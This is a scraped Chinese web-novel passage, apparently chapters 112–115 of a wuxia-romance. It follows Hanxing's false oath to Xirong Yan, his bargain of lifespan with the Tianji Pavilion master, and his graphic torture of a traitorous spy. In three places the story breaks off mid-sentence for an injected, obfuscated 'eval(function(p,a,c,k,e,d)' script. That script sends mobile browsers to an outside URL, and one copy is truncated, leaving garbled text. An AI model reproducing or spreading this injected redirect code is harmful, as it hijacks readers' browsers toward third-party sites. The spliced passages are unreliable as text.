“不好看?”寒星挑挑眉,他欺身尝着她软嫩的唇瓣,二人离得那样近,几乎能感受到彼此的心跳,她听见他那双冰蓝色的眼眸在说,“真的不好看吗?” 席容烟今日穿了一件月白羽纱面雪狐里子的鹤氅,她的脸上未施脂粉,头上亦没有过多的钗环,只用一支玉簪挽起三千青丝,此刻被寒星这么一压,那簪子显然有些受不住,叮铛一声掉在了地上,漆黑如瀑的发丝立时逸散开来,垂落腰间,如同一团浸染着幽香的云朵。 寒星望着身下的美人,不自觉翘了翘嘴角,他伸出手,轻轻点了一下她红肿不堪的唇瓣,在短暂的停留之后,他的指尖顺着她白腻的脖颈一路往下。 他的指尖很凉,这让她一下子清醒了不少,连忙伸手制止住他的动作,“你要做什么?” 他似笑非笑地看着她,脸上闪过一丝玩味的表情,“阿烟,你说我要做什么。” “不行。” “为什么不行,你可知,我想你已经想了许多日了。” 他说着便张嘴含住了她玉珠般的耳垂,声音沙哑温柔,“阿烟——我想要你——” 席容烟的脸颊灿若云霞,身子已然软了一半,可她还是推开了他,“不行,就是不行。” 寒星没有勉强她,他淡淡一笑,随即拢袖而起,在他起身的一刹那,他敏锐地捕捉到她眸中的一缕怅色,寒星见状,心情大好,此前一直悬着的心也安稳了不少。 他挨着她坐下,佯装不解,“阿烟,你能告诉我,到底发生什么事了吗?” 席容烟脸上潮红未退,她咽了口吐沫,“寒星,你老实告诉我,我到底是谁家的女儿?” “我查了,但没查出来。” “到底是查不出来,还是你根本就不想查出来。” 寒星注视着她的眼睛,敛眉道,“阿烟,你想说什么?你这是在怀疑我吗?” 席容烟苦笑一声,她无力地阖上眼睛,“寒星,我也不想怀疑你,可是你能不能和我说一句实话,镇西大将军陈玄赫究竟是不是你杀的。” 寒星听见自己的声音平静得可怕,“不是。” 席容烟定定地看着他的眼睛,一字一顿道,“真的不是吗?” 他的声音依旧没有任何情绪起伏,“不是。” 席容烟点点头,“好,那你发誓,用你的性命跟我发誓,我就相信你。” 寒星闻言,眉头微蹙,没有答言,席容烟轻哼一声,“怎么,不敢吗?” 寒星似乎是叹了口气,“阿烟,是不是只要我发誓,你就愿意相信我,你就愿意再也不纠缠此事?” “是。” “你说话算话吗?” “当然。” “好。”寒星站起身来,他将右手三指并拢,直指苍天,“我寒星在此发誓,若我刚刚有半句虚言,就让我七窍流血,五识俱丧,痛彻心扉,不得善终,生生世世,不入轮回!” 席容烟的脸色惨白得吓人,她伸手想要掩住他的嘴,不让他再说下去,可是已经迟了,他的话掷地有声,不容辩驳。 她无力地瘫倒在地,身子不受控制地颤抖起来,“为什么,为什么要发这么毒的誓言。” 寒星一把将她搂入怀中,眼中满是怜惜,轻言细语地说,“因为我想让你放心。” 她伏在他的肩头,呜呜咽咽低声啜泣起来,“寒星,对不起,我不该怀疑你的。” 寒星的心头仿佛在滴血,他努力让自己的声音听起来平静一点,“阿烟,你现在还疑心是我杀了你的父母吗?” 席容烟拼命摇头,她的泪水滴滴嗒嗒地掉下,打湿了他的风领,“我再也不疑心你了。” 寒星勾勾嘴角,苍凉一笑,“那就好。” 轿子突然颠簸起来,随即传来了桃夭的声音,“姑娘,起风了,你坐稳了,别摔着。” 席容烟心头一紧,探身掀开帘子一角,只见外面狂风大作,天地间的万物在这一刻仿佛都失去了颜色,入眼尽是一片灰白。 “这是怎么回事?” 寒星的第一反应是,不会吧,这誓言这么快就应验了? 不过很快他就意识到,这不是誓言引起的,他们应该是进了天机阁阁主设下的幻境。 寒星扶住席容烟,安慰道,“别害怕,我们快要到天机阁了。” 席容烟张张嘴,似乎有话要说,寒星抢在她开口之前说道,“我知道你来天机阁是为了什么,没关系,我陪你一起,正好我也有事情要向天机阁阁主问个明白。” 席容烟有些不好意思地说,“阿星,我不是怀疑你,我只是想弄清楚一些事。” 寒星握住她的手,“你我之间,不用解释这么多,我明白的。” 不多时,轿子停了下来,肃安王道,“阏氏,外面风沙太大,看不清路了,此处有一家酒楼,我们就在这里歇歇脚,避避风沙,等天晴了再赶路吧。” “好,都听王爷的。” 席容烟扶着桃夭的手下了轿子,寒星和寒木则藏身于轿夫之中,轿夫都是西域武士乔装改扮的,自然是努力帮他们二人遮掩,因此并没有人发现轿夫中多了两个人。 肃安王走进酒楼,因为刚才呛了一鼻子的灰土,他咳嗽了两声,清嗓道,“有人吗?” 一个女子的声音传来,“来啦来啦,客官一共几位呀。” 寒星低着头,混在人群中间,当他瞥见酒楼的主人从之前的老人变成了一个女子时,不觉有些惊讶,这时,他想起了二毛和他说过的话,“其实这个天机阁说穿了,就是一个梦,一个真真假假,假假真真的梦,你们在梦里看见的听见的一半儿是真的天机阁,一半儿是你们心中执念所化就的幻影,如果你们想再进一次,就要托别人的梦混进去。” 他心道,自己看到的老人或许象征着自己记忆中的父亲,那么,这个女子象征着什么呢,她又是谁的梦呢? 肃安王看见这个女子的模样,微微有些发愣,不知为何,他总感觉这个女子的容貌瞧着有几分眼熟,却又想不起来曾经在哪里见过。 女子笑盈盈地迎上前来,“几位客官是吃饭呀,还是想在这儿住上一宿呀。” 肃安王扫了眼外头阴沉沉的天空,“先给我们上点东西吃吧。” “好,那几位先自己找地方坐下,饭菜马上就好。” 女子说完,冲肃安王莞尔一笑,随即挑起帘子,施施然进了厨房,寒星惊讶地发现,那原本灰白陈旧的麻布帘子此时竟然变成了鲜艳的大红色。 寒木凑在寒星耳边说,“你说,咱们这是进了谁的梦了?” 寒星瞧着肃安王的神情,微微一笑,冲他抬抬下巴,“还能有谁。” 寒木讶然道,“我听说肃安王早就到了该成亲的年纪,可他始终未娶,别说正头娘子了,家中连个妾室也没有,我还以为他生来就不好女色呢,没想到还有这不为人知的一面。” 寒星挑了挑眉,“只要是个男的,就不可能不好女色,只是早晚、多少而已。” 寒木不怀好意地笑笑,“这话能你的嘴里听见,倒也稀罕,想当初是谁说自己孑然一身,这辈子只与刀剑为伍来着?我还真没想到,你这么个混世魔王也有被人降伏的一天。” “哈哈哈,旧时戏言罢了,做不得数的,是人就有七情六欲,这些事,总是无可避免的。” 说话间,女子端了托盘出来,她一桌一桌地上着饭菜,等走到寒星寒木跟前时,她认出了二人,眼波微动,却也没说什么,转身向肃安王笑道,“客官,要酒不,我们家的酒可是出了名的香醇可口,保证你喝了第一口啊,就想着第二口,喝了第二口呢,又想着第三口,便是你离了我们这儿地界,也忘不了我们这儿的酒。” 几个士兵笑了起来,“老板娘,是忘不了你们这儿的酒啊,还是忘不了你们这儿的人啊。” 女子也不恼,侧身倚在那几个士兵的桌前,笑道,“几位军爷以为呢?” 肃安王“啪”的一声,反手把剑扣在桌上,怒道,“你们几个忘了本王定下的规矩了吗,不吃就给本王滚出去,别在这儿丢人现眼。” 这几个士兵都是陆奔手底下的,陆奔见状,连忙训斥了他们一番,又向肃安王解释道,“主子别生气,兄弟们也是好久没着家了,都是年轻气盛的年纪,一时说话不注意也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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有了上次的经验,寒星寒木知道这酒里虽然没下毒,却也定然是有问题的,所以举杯时,他们用宽大的袖袍遮掩着,趁人不备,悄悄把酒倒在了地上。 寒木又悄声告诉了同坐一桌的西域武士,叫他们也别喝这儿的酒,因此,当肃安王他们说困了,要去睡觉时,寒星他们还都好好的,并没有什么困意。 等肃安王他们一上楼,寒星立时拔出青霜剑,冒着寒光的剑锋直抵女子咽喉,“单阁主,我们借一步说话,如何。” 女子扬扬眉,她的眼中没有一丝一毫的惧意,“好啊。” 二人出了酒楼,站在一片漫天黄沙之中,烟尘呛人,女子也觉得有些不适,她一挥手,刚才还阴沉沉、乌蒙蒙的天空立时便放晴了。 寒星抬眼,只见万里无云,碧空如洗,笑道,“果然是你,天机阁阁主,别来无恙啊。” 女子也笑了笑,“别来无恙,寒星。” “你知道我是谁?” “当然,你们每个人的身份,来路,去处,我都知道得一清二楚。” 寒星点点头,“话都说到这个份儿上了,单阁主还是不肯露出真容吗,顶着一副女人的皮囊和我说话,单阁主也不觉得不好意思?” “谁说天机阁阁主就一定要是男人呢?” “哦?难道天机阁阁主本来就是一个女人?” 女子摇头,“天机阁阁主无谓男女,皆是人心幻像。” 寒星挑了挑眉,倒也没再继续纠结这个问题,“单阁主,我此次前来拜见,是有事相求。” “有事相求?”女子低头瞥了眼抵在自己脖颈间的剑,似笑非笑道,“寒星,这就是你求人的态度吗?” “没办法,单阁主花样太多,我怕一不小心又让阁主给溜了。” “我让你走,其实是为了你好,可惜你不明白,也罢,你想知道什么,说吧。” “我想知道,我父亲当年究竟是怎么死的。” 女子叹了口气,“我就知道是这个,寒星,我可以告诉你,可你能承担得起这个代价吗?” “不就是银子嘛,你开个价吧。” “不,你错了,天机阁要的从来不是银子,而是命。” “什么?命?”寒星眉头深锁,“为了这么一个秘密,你就要我去死,这也太不划算了。” “谁说我要你去死了,命有很多种换法,一辈子两辈子是换,一年两年是换,一天两天也是换,你要是对我开出的价码不满意,我们还可以商量着来,就像买东西一样,讨价还价,等双方都觉得合适了,这桩生意才有的做。” “好,那你说,你想要我多少寿命?” 女子没有立刻回答,只是说,“你跟我来。” 这时,寒木突然从酒楼里走了出来,横刀拦住女子,“要命是吗,来,换我的命。” “不行,木头,这件事和你没关系。” 女子用手指轻轻挪开寒木的偃月刀,“寒木,各人有各人的命,你替不了别人。” 寒木额上青筋暴起,他举着刀逼近一步,偃月刀霎时在女子的颈侧划出一道血痕,寒木威胁女子。 “做不到,我就杀了你。” 蓦地,风声大作,地面开始剧烈地颤动,寒星几乎站立不住,他抬眼,发现天空再一次乌云密布,在一阵眩晕中,他听见女子幽幽而笑。 “我是这儿的主人,如果我死了,这儿的一切也就不复存在了,你要杀就杀吧,反正你杀的也只不过是我的幻像罢了,根本伤不到我。” 寒星见状连忙大喊,“木头,停下来,把刀放下。” 寒木看着这一切,又惊又疑,只得收了刀,果见乌云慢慢散去,周遭的景物也逐渐恢复如常,寒木咬牙道,“单阁主,请你不要伤害寒星。” 女子别有深意地看了寒星一眼,轻笑,“没有人能伤害他,除了,他自己。” 寒星拍了拍寒木的肩膀,“放心。” 113. 梵文来去路 寒星跟随女子再一次进入酒楼。 女子挑起红色锦帘,做了一个请的手势,寒星没有犹豫,探身而入。 帘子内,依旧是他曾经见过的厨房景象,女子撂下帘子,轻轻吐出一口气,“都是幻象。” 一语落地,寒星眼前一黑,他觉得自己的身子轻飘飘的,像是浮在了半空中,可他低头一瞧,自己分明还好好地站在地上。 屋中一下子昏暗了不少,女子蹲下身子,像是在找什么东西,半晌,她摸出一支蜡烛,用火折子点了,搁在她和寒星中间。 烛光忽闪之际,寒星看见了一本泛黄的书卷,书卷很厚,上面有两种笔迹,一半是他能看得懂的人名,一半是他看不懂的梵语。 女子信手翻着书卷,最后目光停留在一页纸上,声音无悲无喜,“找到了。” 寒星凑上去凝神细看,只见左侧是他父亲的名字,右侧则是密密麻麻的梵文。 “这上面写了什么?” 女子摊开手掌,“我要你一年寿命。” 寒星咬咬牙,“半年,如何?” “成交。” 寒星没想到她这么爽快就答应了,心下懊悔不已,早知道他再少说点好了,没准儿她也能同意。 可惜,现在后悔也来不及了,纸上的文字突然开始泛红,像是被鲜血浸染了似的,一点点有了生命的迹象,在忽明忽暗的烛火之下有如鬼魅般地闪烁跳跃。 女子的指尖缓缓摩挲过一行行文字,轻声念道,“依拉洪,天合四十四年生人,十五岁继承西域汗王之位,征北疆,攻大魏,成为一方霸主,深受子民拥戴。他与西国公主育有一子,名尤里吐孜汗。天合六十九年,山海客之子风萧为了争夺霜寒十四州,一路寻到西域,依拉洪因为敬重自己的师傅山海客,对风萧也格外信任,却不料反被风萧害了性命,遂薨。” “没了?” 女子合上书卷,“书里就说了这些。” 寒星感慨不已,“父亲波澜壮阔的一生竟然只留下寥寥数行。” 女子淡淡道,“人生一世,每分每秒都经历着悲欢离合,喜怒哀乐,哪能尽数记录在册,不过是捡其中最要紧的几件写一写罢了。” “父亲。”寒星红了眼睛,恨声道,“风萧,山海客之子,是他杀了我的父亲。” “凡事皆有因果,寒星,斯人已去,我希望你不要执着于此,早日放下,才得解脱。” 寒星深吸一口气,“阁主,好歹是我半年的寿命,就这么几行文字,未免太不划算了。” “那你想怎样?” “我想看看自己的命。” 女子摇摇头,“这个要求有违阁规,我不能答应你。” “天机阁不就是做生意的地方吗,还有阁规?” “当然,天有天理,地有地法,人有人约,阁有阁规,若是人人都能看到自己的命数,人人都想办法逆天改命,天下岂不是都乱了套了。” 寒星若有所思道,“那我能看看别人的吗。” “可以,你想看谁?” “席容烟。” 女子的手拂过书卷,良久,她皱了皱眉,“没有这个人。” 寒星愕然,“没有?” “又或者,她不叫这个名字。” 寒星忙道,“陈兰旌,你再试试这个。” 女子重新仔细翻了一遍,摇头道,“还是没有。” 寒星眉头深锁,“怎么会这样?” “人这一生会有许多名字,许多身份,一个人最后以什么名字,什么身份死去,书卷上就会记录什么,至于这个人从前的种种都不会在书卷上留下一丝痕迹。” 寒星默了默,喃喃自语道,“阿烟,你到底是谁呢。” 女子见那文字的光芒逐渐黯淡,劝道,“你的血快用完了,赶紧换个人问吧。” “木头!”寒星脱口而出,“阁主,我想看看寒木的一生。” “好。” 女子翻开一页,“寒木,天合六十年生人,幼时家贫,卖艺为生,后入席容府担任暗卫。大魏十九年,为西域将军,善用刀,有威名。寒木一生无妻亦无子,死于大魏三十年。” “就是这些。”说罢,女子合上书卷,轻叹一声,“寒星,我们走吧。” 烛火渐熄,刹那间,文字仿佛失去了生命,一个个狼狈地摔在地上,最终化作一片虚无。 寒星怔愣地瞧着屋中的陈设恢复如常,却依旧没有从女子的话中走出来,“大魏三十年,为什么,为什么木头死得这么早,为什么!” “天命如此,谁都没有办法。” 女子背过身去,不敢再看寒星的眼睛,她刚才对寒星其实有所隐瞒。 书卷上的最后一句话是,“寒木一生无妻亦无子,大魏三十年,为救寒星而死。” 寒星忽然拽住女子,“木头怎么死的?” 女子摇头,“书里没写,我也不知道。” 天机阁阁规,人不能看到自己的命数,这是为了防止有人逆天改命,破坏因果,同样的,人也不能看到别人命运中同自己相关的那一部分。 “我不相信,为什么我父亲的死,书卷上写得明明白白,为什么木头就死得不清不楚?” 女子抽回衣袖,“寒星,这世上每天都会有很多人死去,这些人又会有很多种死法,天机阁就算再厉害,也不可能把每个人的死因都查得清清楚楚吧,你父亲是西域汗王,所以他的死,书卷中自然会记载得稍微详细一些,至于寒木是怎么死的,我也不知道。大魏三十年,不是还有十年吗,你若是舍不得他,就好好珍惜余下的十年光阴,别让他留下什么遗憾。” 寒星鼻子一酸,闷闷“嗯”了一声。 女子挑起帘子,准备离开,寒星连忙叫住她,“等一下。” “怎么了?” “我听说天机阁能够以命换命,让人死而复生,这是真的吗?” “是真的。” 寒星心头一喜,“那我能让我的父亲母亲活过来吗?” 女子道,“我不知道你的母亲是什么时候离开人世的,但是你的父亲,他的死已经超过十年了,如今只怕早已再入轮回,纵然是以命换命也救不活他。” “十年?所以说,死于十年前的人都没有办法起死回生?” “嗯,人的魂魄最多只能在尘世中停留十年,十年之期一到,纵有再多不舍再多留恋,也要割舍前尘往事,再入轮回。一旦再世为人,上一世的记忆便会不复存在,他的一切一切也都和上一世没有任何关系了。对他来说,这将是崭新的一生,他会有新的样貌,他会找到新的女子共度一生,他还会有新的孩子,他,已经不是你要找的那个人了。” “我明白了,那寒木呢,如果十年之后,我第一时间带他来这儿,他是不是就能活过来?” “按理说,应该是这样,不过,如果想救活一个死人,付出的代价绝对会很大很大。” 寒星的喉结滚动了一下,“以命换命吗?” “我不知道,这件事现在说为时尚早,具体怎么换,你要和十年之后的阁主谈。” “十年之后的阁主不还是你吗?” 女子解释道,“可能是我,也可能不是我,告诉你也无妨,天机阁的阁主并不是生下来就是阁主,他们曾经也是普通人,因为机缘巧合来到这里,担任阁主一职,他们能知道很多事情,但他们对即将发生的事情无力改变,因为,如果天机阁阁主试图逆天改命,便会遭到反噬,痛不欲生,生不如死。我来到天机阁也有很多年了,或许有一天,我做厌了这个阁主,便会抹去一切记忆,离开此地,到那个时候,你再来天机阁,看到的阁主就不是我了。” “阁主居然还能轮着做,那我岂不是有一天也有机会当上天机阁的阁主?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502821|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “天机阁阁主并不是什么好差事,算了,说了你也不懂,我睡够了,要走了。” “啊?”寒星马上反应过来,她说的“睡”,应该就是指她给他们编织的这个梦,忙问,“你走了,是不是肃安王他们就再也找不到你了?” “不一定。”女子抬手一指,“你这不就又找过来了吗?” 寒星笑了笑,“那如果肃安王他们找到你了,你可不可以帮我隐瞒一件事?” “不可以。” “我可以付出代价的,你说,几年寿命?一年?两年?” 女子一直在摇头,寒星狠狠心,咬牙道,“三年!换不换!” 女子无奈道,“几年都没用,天机阁是做生意的地方,谁都可以来,我可以选择做不做这桩生意,但我无权将任何一位客人拒之门外。” 说罢,女子掀帘而去,再未回头。 寒星立在原地,怔了很久很久,直到寒木闯进来,一脸担忧地问,“寒星,你没事儿吧?” 寒星呆呆地望着寒木,不由得红了眼眶,他一把抱住寒木,寒木一愣,“你怎么了?” “没怎么。”寒星松开手,坚定地说,“木头,我要保护你,我不会让你出事的。” 寒木一头雾水,“保护我,保护我什么?” 寒星不想把这件事告诉他,毕竟,没有人会在得知自己只有十年寿命之后还能开开心心,所以寒星觉得这件事还是瞒着寒木比较好。 寒星转移了话题,“外面怎么样了?肃安王他们还睡着呢吗?” “嗯,估计一时半会儿醒不过来,欸,那个女人呢,她怎么没和你在一块儿?” “她刚刚出去了,你没看见吗?” “没有啊,我带着兄弟们一直盯着呢,根本没人出来过,我担心你出事,这才闯了进来。” “没看见就没看见吧,这个梦是她织的,别人能不能看见,自然也是她说了算。” 寒木点点头,“有道理,对了,你查到你父亲的死因了吗?” “查到了,是一个叫风萧的人干的,风萧是山海客的儿子,因为想要抢夺霜寒十四州,杀死了我的父亲。” “山海客的儿子?那他想学武功,应该去找山海客呀,他杀你父亲做什么?” “可能他想独占霜寒十四州吧。” “风萧,这个名字有点耳熟,可我又想不起来在哪听过,嘶,这个人之前在江湖上好像还挺有名的,但后来就销声匿迹,不知所踪了。” “他最好是死了。”寒星握紧拳头,“否则,我一定让他生不如死。” 外面忽然传来一阵劈里啪啦的声音,寒星掀帘一看,只见整座酒楼正在一点点腐烂。 “不好,这个幻境马上就要坍塌了,木头,我们得赶紧离开这儿。” “快走!” 二人带着几名西域武士在大街上跑了起来,却怎么跑也跑不到尽头,天此刻已经全黑了,伸手不见五指,几个人看不见对方,只能靠说话来辨别方向。 寒星突然停下脚步,“不对,别跑了,我们这样是出不去的。” 寒木也意识到这一点,他叉腰站住,气喘吁吁地说,“是啊,这条街古怪得很,怎么跑也跑不到头,我们不会死在这儿吧?” 寒木这么一说,寒星倒是不慌了,按照书卷上的记载,寒木死于大魏三十年,那是十年之后,不是现在,他定了定心神,一下子反应过来,“睡觉!睡着了,我们就能醒过来了!” 寒木也恍然大悟,几人连忙躺下,可是由于巨大的惊恐笼罩在他们的心头,他们怎么睡也睡不着。 寒星试着动用了一下怜冰决的内力,他惊讶地发现,怜冰决在这个梦里居然还能使用,寒星大喜过望。 此时正值隆冬,遍地冰雪,他默念心决,用怜冰决驱散众人的惊恐,不多时,他们终于成功入睡,离开了天机阁。 114. 新刃剐旧仇 寒星醒来的时候,发现自己和其余几人身在群山之中,而肃安王他们则不在这里。 寒星暗想,这大概是因为在幻境中,他们从酒楼出来,又在街市上跑了一段距离,所以便和肃安王他们分开了。 山中鲜有人迹,几人绕着崎岖的山路,来回转了好几圈,终于看到一个破败的茅草屋。 寒星上去叩门,“有人吗?” 门内传来一个不耐烦的声音,“谁呀?烦死了,一大清早的还让不让人睡觉了,滚蛋!” 寒木登时大怒,抬脚便要踹门,寒星挥挥手,示意他不要莽撞。 “我们几个是从外地来的客商,一不小心,误入此地,迷失了方向,还望阁下能给我们指一条出山的路,寒星在此谢过。” 门内静默片刻,忽然传来一阵响动,那人陡然提高了音量,“你说你叫什么?” 寒星瞥了眼门口堆积如山的废铁,心中一动,答道,“寒星。” 那人蓦地推门而出,他只看了寒星一眼,便跪倒在地,“大汗!” 寒木一愣,“你怎知——” 寒星扶起他,“你就是鄯州的那位铁匠?” “是。”那人涕泗横流,挥袖擦拭,“在这鬼地方苦熬了这么多年,终于等到大汗了。” “你怎么知道我就是你要找的人,万一有人冒名顶替呢?” 那人的神情有些古怪,他注视着寒星的眼睛,说道,“你的眼睛同你母亲的一模一样。” 寒星怔了怔,“你认得我的母亲?” “嗯,我们这些暗桩明面上是归老汗王掌管,可实际上都是由公主指挥调度的。” “你叫什么名字?” “暗桩没有名字,地点,行当,就是我们的名字。”那人叹了口气,侧身让道,“大汗,进来说话吧。” 寒星微一颔首,跨门而入。 屋内空间狭小,靠墙的位置铺了一床被褥,房间正中摆了一张方桌,空出的地方看样子只能站下两三个人,于是,寒木他们就都留在了外面。 由于年久失修,茅草屋的屋顶已经露出了三四个碗大的窟窿,寒星借着从窟窿透进来的光线,仔细打量着屋中陈设,只见梁上悬着蛛网,地上散着铁屑,入眼尽是一副破败之象,寒星皱眉道,“这么多年,你一直住在这儿?” 那人点点头,“这地方隐蔽,不容易被人发现。” “苦了你了。” “哈哈哈,没事儿,我皮糙肉厚,住得惯的。”那人说着,扫了一眼门外的寒木,还有和寒木站在一起的几名西域武士,若有所思道,“大汗此次来鄯州,可是为了天机阁?” “正是。” “嗯,我在鄯州待了小半辈子,对天机阁颇为熟悉,大汗若想进去,我可以助大汗一臂之力。” “不必了,我们已经去过了,也拿到自己想要的东西了,只是我们出来的时候不知为何来到此处,迷失了方向,绕了好久才绕到这里,没想到竟然碰到了你,也算是意外之喜了。” 那人埋着头,“确实是意外之喜。” “你刚才说,你们这些暗桩实际上是由我母亲掌管的,可为何她从未向我提过此事,当日我们在大魏举步维艰,她也从来没有想过向你们求助。” “暗桩中出了叛徒,公主应该是怕求救不成,反遭追杀。” “叛徒?谁是叛徒?” “这个我也不知道,暗桩身份特殊,没有名字,即便是暗桩与暗桩之间,也不认识对方。” “那你如何确定,这暗桩中出了叛徒?” “因为……”一语未了,那人仿佛想起了什么伤心事,一下子跪倒在地,哭了起来。 寒星心有不忍,俯身去扶,在他的手触及那人的一瞬间,寒星突然意识到不对。 那人蓦地抬头,眼中半分泪光也无,他挥手一扬,几根毒针从袖中挥出,直冲寒星而去,那人阴鸷一笑,继续刚才没说完的话,“因为,我就是那个叛徒!” 寒星匆忙闪身,毒针擦着他的袍摆飞了出去,寒木几人拔刀格挡,只听得一片劈里啪啦的声音。 那人见寒星毫发无伤,旋即指夹毒针,飞身上前,试图将手中的毒针直接刺入寒星体内,寒星乜着眼,冷笑道,“找死。” 寒星反手扼住那人的手腕,只听咔嚓一声,那人的手腕竟被他生生掰断,那人立时痛呼起来,“啊!好疼!” 寒星将那人手中的毒针一寸寸对准那人的脖颈,厉声道,“说,你家主子是谁?” 那人痛得呲牙咧嘴,倔强道,“哼,我是绝对不会说的,你杀了我吧。” 寒星扬了扬眉,声音中掺杂着瘆人的冰冷,“好,我看你能嘴硬到什么时候!” 说罢,他抽出青霜剑,须臾间便将那人的手筋、腿筋、脚筋尽数挑断。 那人的嘴唇嵌在牙里,眼角渗出了鲜血,他面目狰狞,不住嘶吼,“杀了我,你杀了我!” 寒星冷笑,“杀你?那不是太便宜你了吗?” 他用脚勾起方桌,将那人架在四条桌腿之上,随即用力一踹,那人和桌就都挂在了墙上。 寒星掩上门,“木头,你们在外面等我。” 寒木瞧那人的光景,料着他伤不了寒星了,于是点点头,带着几名西域武士守在门外。 茅草屋的门虚虚掩着,寒木看不见里面的情形,只能听见那人一声声凄厉嘶嚎的惨叫,久久回荡在半空之中,“我求你杀了我,我求你杀了我吧!大汗!我求你了!” 寒星的声音平静淡漠,“回答我的问题,我就成全你。” 片刻后,寒星推门出来,寒木见他一身血迹,脸上难掩担忧之色,“你受伤了?” 寒星摇摇头,淡淡道,“不是我的血。” 寒木放下心来,“那就好,怎么样,审问清楚了吗?” “嗯,原来设在此处的暗桩已经死了,此人是穆则帕尔派来的,他曾经被穆则帕尔救过性命,后来顶替暗桩的身份,一直埋伏在此处,当日,苏里唐派出追兵追杀我们母子二人,因为鄯州地处偏远,少有人烟,又离西域很近,母亲第一时间带着我来到鄯州,试图向这里的暗桩求救,正好碰上这个假的暗桩,我和母亲反而因此暴露了行踪,险些丢了性命,幸亏巴吐尔顾念旧情,放了我们一条生路。后来,母亲担心暗桩里还有叛徒,便对此事绝口不提,我那时年纪太小,自然也没有什么印象。” “原来是这样,难怪他说他认得你的母亲,你杀了他,也算是替你母亲报仇了。” “是啊。”寒星擦拭着满是血污的剑身,勾了勾唇角,“只可惜,弄脏了我的剑。还有一个好消息,穆则帕尔今晚会过来,等我把他一道杀了,从此也算了了我一桩心事。” “穆则帕尔?他果然还活着!” 寒星收剑入鞘,声音冷冽森然,“我今晚要扮作暗桩,会一会这个穆则帕尔。”说着,他扫了眼门口的武士,吩咐道,“你们几个,把屋里收拾一下,别叫穆则帕尔瞧出破绽。” “是,大汗。” 几个武士推门而入,待看清楚里面的景象时,他们的脸立时变得煞白,几个人扶在门框上,不住地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502822|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干呕起来,寒木觉得奇怪,刚想探头看个究竟,却被寒星伸臂拦住,“别看,脏。” 寒木犹豫片刻,还是推开了寒星的胳膊,他快步走到门口,目光越过一滩滩血迹,终于瞧见了那个被挂在墙上,已经不能称之为人的东西。 只一眼,寒木就想把这两天吃的东西全吐出来,他艰难地吞了口吐沫,回身撑住门框,大口大口呼吸着新鲜口气。 寒星瞧着他的模样,忍不住出言讥讽,“叫你别看,你偏不听,如今怎样?” 寒木缓了半日的神,忽然笑了起来,“寒星,好久没见你动手了,冷不丁吓了我一跳。”他抬眼看向寒星,定定地说,“挺好的,这才是我认识的那个寒星。” 寒星闻言,不觉一怔,自从席容烟劝他做个好人之后,他确实已经好久没亲自动手杀人了,更不要说用如此狠辣阴毒的手段把一个活人折磨到如此地步。 寒星摊开手掌,低头瞧着自己满手满身的鲜血,皱眉道,“不能让阿烟瞧见我这副样子,我得赶紧去洗个澡。” 他才迈出两步,忽又停下,叹道,“罢了,等我杀完穆则帕尔再去找她吧,到时候一道洗了,省得费事。” 寒星几人在茅草屋中待了一夜,却始终没有等到穆则帕尔。 寒木整宿未曾阖眼,忍不住打了个哈欠,“这家伙该不会是认出了你,不敢来了吧?” 寒星敛眉思忖,“不应该啊。” 此时,天已经大亮,寒星推门而出,竟看见穆则帕尔立在门前,怒目而视。 寒木一惊,才要挥刀上前,便听寒星说,“他已经死了。” “啊?”寒木愕然,抬脚踹向穆则帕尔,果见他直直向后栽去,“砰”的一声倒在地上。 寒星低头扫了眼穆则帕尔的尸体,“他胸口有伤,却无血迹,杀他之人应该是用剑极快。” 寒木俯身端详半晌,点头道,“一剑穿心,一击毙命,这样快的剑法我只见你用过。” “是啊,这样快的剑法,就连我也没有十足的把握取胜。”寒星眉头深锁,“这个人会是谁呢?他为什么要抢在我们之前杀掉穆则帕尔?难道他是怕穆则帕尔说出什么?” “倒也不一定是冲你来的,瞧穆则帕尔的神情,他和杀他之人应该是认识的,或许他们之间有什么旧怨,说不准就是赶巧了呢。” 寒星缓缓摇头,“我不相信世上有这样的巧合。” “那你预备怎么办?” “还没想好。” 寒木站起身,突然想起一事,“对了,跟着烟姑娘的人回来报信,说是肃安王他们没有找到天机阁,过两日便要回京了。” “阿烟要走?这是什么时候的事儿?我怎么不知道?” “昨天传来的消息,我怕影响你对付穆则帕尔,就没和你说。” 寒星面有不豫之色,“木头,下次只要是和阿烟有关的事情,你一定要第一时间告诉我。” “嗯,知道了,你还要继续跟着她吗?” 寒星想了想,叹气道,“算了,京城位于大魏腹地,我不便前往,况且阿烟是要入宫的,我即便跟着她混进了京城,也很难混入皇宫。父亲的死因我已经弄明白了,穆则帕尔虽然不是我杀的,但如今也已经死了,也算是了结了我的一桩心事。我再在鄯州呆上几日,找一找有关风萧的线索,就准备回西域了。” “太好了,我和你一起回去。” “不,木头,我要你跟着阿烟,一路上暗中保护她,别让任何人伤到她。” 寒木无奈道,“好吧,我听你的。” 115. 牀笫犹战场 夜凉如水,月盈中天。 桃夭撩起帘幔,拢上熏香,“姑娘,床铺好了,可以歇息了。” 席容烟信口应着,“知道了,就来。” 